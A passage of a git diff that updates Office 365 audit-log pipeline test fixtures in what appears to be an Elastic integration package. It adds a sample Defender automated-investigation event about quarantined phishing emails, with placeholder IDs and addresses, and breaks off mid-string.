+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json
@@ -188,6 +188,7 @@
"preserve_original_event"
],
"user": {
+ "email": "asr@testsiem.onmicrosoft.com",
"id": "SecurityComplianceAlerts"
}
},
@@ -257,4 +258,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json
index 68babf1c93b..8a41267dedb 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepoint-events.json-expected.json
@@ -397,4 +397,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json
index 0d3490ffb85..1132413e034 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sharepointfileop-events.json-expected.json
@@ -1308,4 +1308,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json
index f2c5ba9ee39..1ead6a16717 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sp-sharing-op-events.json-expected.json
@@ -2,7 +2,6 @@
"expected": [
{
"@timestamp": "2020-02-17T16:59:50.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -69,13 +68,11 @@
"device": {
"name": "Other"
},
- "name": "Other",
- "original": ""
+ "name": "Other"
}
},
{
"@timestamp": "2020-02-17T16:59:50.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -142,13 +139,11 @@
"device": {
"name": "Other"
},
- "name": "Other",
- "original": ""
+ "name": "Other"
}
},
{
"@timestamp": "2020-02-17T16:59:50.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -215,13 +210,11 @@
"device": {
"name": "Other"
},
- "name": "Other",
- "original": ""
+ "name": "Other"
}
},
{
"@timestamp": "2020-02-17T16:59:50.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -288,13 +281,11 @@
"device": {
"name": "Other"
},
- "name": "Other",
- "original": ""
+ "name": "Other"
}
},
{
"@timestamp": "2020-02-17T16:59:49.000Z",
- "client": {},
"ecs": {
"version": "8.11.0"
},
@@ -361,8 +352,7 @@
"device": {
"name": "Other"
},
- "name": "Other",
- "original": ""
+ "name": "Other"
}
},
{
@@ -910,4 +900,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json
index 0b650b3a50c..f3d49ae0efd 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-stringly-json-events.json-expected.json
@@ -149,7 +149,6 @@
"ObjectId": "0e00d1cf-825a-4d78-98ff-8a8199357669",
"ObjectType": "Lakehouse",
"OperationId": "a84f7f73-xxxx-xxxx-8cf3-094f69c23756",
- "OperationProperties": [],
"RecordType": "20",
"RequestId": "fcbbe282-xxx-xxxx-xxxx-dc1e6d9b090b",
"ResultStatus": "InProgress",
@@ -211,4 +210,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json
new file mode 100644
index 00000000000..17e50a21a0b
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json
@@ -0,0 +1,248 @@
+{
+ "events": [
+ {
+ "event": {
+ "original": "{\"Status\":\"Pending Action\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Pending\",\"Entities\":[{\"$id\":\"2\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":56,\"Phish\":45,\"Malware\":1,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":19},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"UrlInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.9Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"New\\\",\\\"DetectionTechnology\\\":\\\"URLList\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[],\\\"InvestigationIds\\\":[],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"1\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages containing malicious URL removed after delivery\\\",\\\"Description\\\":\\\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"2\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"user@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"https://test.local/-\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"sender@example.com\\\",\\\"P1SenderDomain\\\":\\\"example.com\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"sender@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Intraorg\\\",\\\"DeliveryAction\\\":\\\"Blocked\\\",\\\"ThreatDetectionMethods\\\":[\\\"URLList\\\"],\\\"Language\\\":\\\"de\\\",\\\"DeliveryLocation\\\":\\\"Quarantine\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\",\\\"Zap: [Success: Message moved to quarantine]\\\"],\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"None\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"Url\\\":\\\"https://test.local/-\\\",\\\"Type\\\":\\\"url\\\",\\\"ClickCount\\\":0,\\\"EmailCount\\\":86,\\\"Urn\\\":\\\"urn:UrlEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"5\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,P2SenderDomain\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;P2SenderDomain;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;example.com;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"6\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (P2SenderDomain:\\\\\\\"example.com\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,P2SenderDomain,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;P2SenderDomain;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;example.com;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"7\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":2,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":2},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":2},\\\"Query\\\":\\\"( (( (BodyFingerprintBin1:\\\\\\\"5555555555\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":2,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"BodyFingerprintBin1,SenderIp\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"BodyFingerprintBin1;SenderIp;ContentType\\\",\\\"ClusterByValue\\\":\\\"5555555555;81.2.69.144;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"8\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":1,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":0},\\\"CountByProtectionStatus\\\":{\\\"Blocked\\\":1},\\\"CountByDeliveryLocation\\\":{\\\"Quarantine\\\":1},\\\"Query\\\":\\\"( (( (Subject:\\\\\\\"subject\\\\\\\") ) AND ( (SenderIp:\\\\\\\"81.2.69.144\\\\\\\") ) AND ( (AntispamDirection:\\\\\\\"3\\\\\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":1,\\\"IsVolumeAnamoly\\\":false,\\\"ClusterSourceIdentifier\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ClusterSourceType\\\":\\\"Similarity\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"Subject,SenderIp,AntispamDirection\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"Subject;SenderIp;AntispamDirection;ContentType\\\",\\\"ClusterByValue\\\":\\\"subject;81.2.69.144;3;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"9\\\",\\\"NetworkMessageIds\\\":[\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"],\\\"CountByThreatType\\\":{\\\"HighConfPhish\\\":86,\\\"Phish\\\":0,\\\"Malware\\\":0,\\\"Spam\\\":18,\\\"MaliciousUrl\\\":86},\\\"CountByProtectionStatus\\\":{\\\"Delivered\\\":0,\\\"Blocked\\\":70},\\\"CountByDeliveryLocation\\\":{\\\"Inbox\\\":0,\\\"Quarantine\\\":19,\\\"Forwarded\\\":1},\\\"Query\\\":\\\"( ((NormalizedUrl:\\\\\\\"https://test.local/-\\\\\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\\\",\\\"QueryTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"MailCount\\\":86,\\\"IsVolumeAnamoly\\\":true,\\\"ClusterSourceIdentifier\\\":\\\"https://test.local/-\\\",\\\"ClusterSourceType\\\":\\\"UrlThreatIndicator\\\",\\\"ClusterQueryStartTime\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"ClusterQueryEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"ClusterGroup\\\":\\\"UrlThreatIdentifier\\\",\\\"Type\\\":\\\"mailCluster\\\",\\\"ClusterBy\\\":\\\"NormalizedUrl;ContentType\\\",\\\"ClusterByValue\\\":\\\"https://test.local/-;1\\\",\\\"QueryStartTime\\\":\\\"12/31/2023 11:59:59 PM\\\",\\\"Urn\\\":\\\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Threat_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Operation\":\"AirInvestigationData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"619\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\" }"
+ },
+ "o365audit": {
+ "Status": "Pending Action",
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "Actions": [
+ {
+ "$id": "1",
+ "ActionId": "urn:EmailZapper:abcdef1234567890abcdef1234567890",
+ "InvestigationId": "urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "ActionApproval": "None",
+ "ActionType": "EmailRemediation",
+ "ActionStatus": "Pending",
+ "Entities": [
+ {
+ "$id": "2",
+ "NetworkMessageIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "CountByThreatType": {
+ "HighConfPhish": 56,
+ "Phish": 45,
+ "Malware": 1,
+ "Spam": 18,
+ "MaliciousUrl": 86
+ },
+ "CountByProtectionStatus": {
+ "Delivered": 0,
+ "Blocked": 19
+ },
+ "CountByDeliveryLocation": {
+ "Inbox": 0,
+ "Quarantine": 19,
+ "Forwarded": 1
+ },
+ "Query": "( ((NormalizedUrl:\"https://test.local/-\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))",
+ "QueryTime": "12/31/2023 11:59:59 PM",
+ "MailCount": 86,
+ "IsVolumeAnamoly": true,
+ "ClusterSourceIdentifier": "https://test.local/-",
+ "ClusterSourceType": "UrlThreatIndicator",
+ "ClusterQueryStartTime": "2023-12-31T23:59:59Z",
+ "ClusterQueryEndTime": "2023-12-31T23:59:59.0000000Z",
+ "ClusterGroup": "UrlThreatIdentifier",
+ "Type": "mailCluster",
+ "ClusterBy": "NormalizedUrl;ContentType",
+ "ClusterByValue": "https://test.local/-;1",
+ "QueryStartTime": "12/31/2023 11:59:59 PM",
+ "Urn": "urn:MailClusterEntity:abcdef1234567890abcdef1234567890",
+ "Source": "OATP",
+ "FirstSeen": "2023-12-31T23:59:59"
+ }
+ ],
+ "RelatedAlertIds": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59.0000000Z",
+ "TimestampUtc": "2023-12-31T23:59:59",
+ "BulkName": "Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890",
+ "ResourceIdentifiers": [
+ {
+ "$id": "3",
+ "AadTenantId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Type": "AAD"
+ }
+ ],
+ "PendingType": "User",
+ "LogCreationTime": "2023-12-31T23:59:59.0000000Z",
+ "MachineName": "ABCDEFGHIJK",
+ "Description": "For malicious emails,you can move to junk,soft or hard delete from user's mailbox."
+ }
+ ],
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "InvestigationType": "UrlInvestigation",
+ "UserKey": "AirInvestigation",
+ "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.9Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"New\",\"DetectionTechnology\":\"URLList\",\"Severity\":\"Informational\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[],\"InvestigationIds\":[],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"1\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email messages containing malicious URL removed after delivery\",\"Description\":\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"2\",\"MailboxPrimaryAddress\":\"user@example.com\",\"Upn\":\"user@example.com\",\"AadId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RiskLevel\":\"None\",\"Type\":\"mailbox\",\"Urn\":\"urn:UserEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"https://test.local/-\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"sender@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Intraorg\",\"DeliveryAction\":\"Blocked\",\"ThreatDetectionMethods\":[\"URLList\"],\"Language\":\"de\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"Inbox\",\"PhishConfidenceLevel\":\"High\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\",\"Zap: [Success: Message moved to 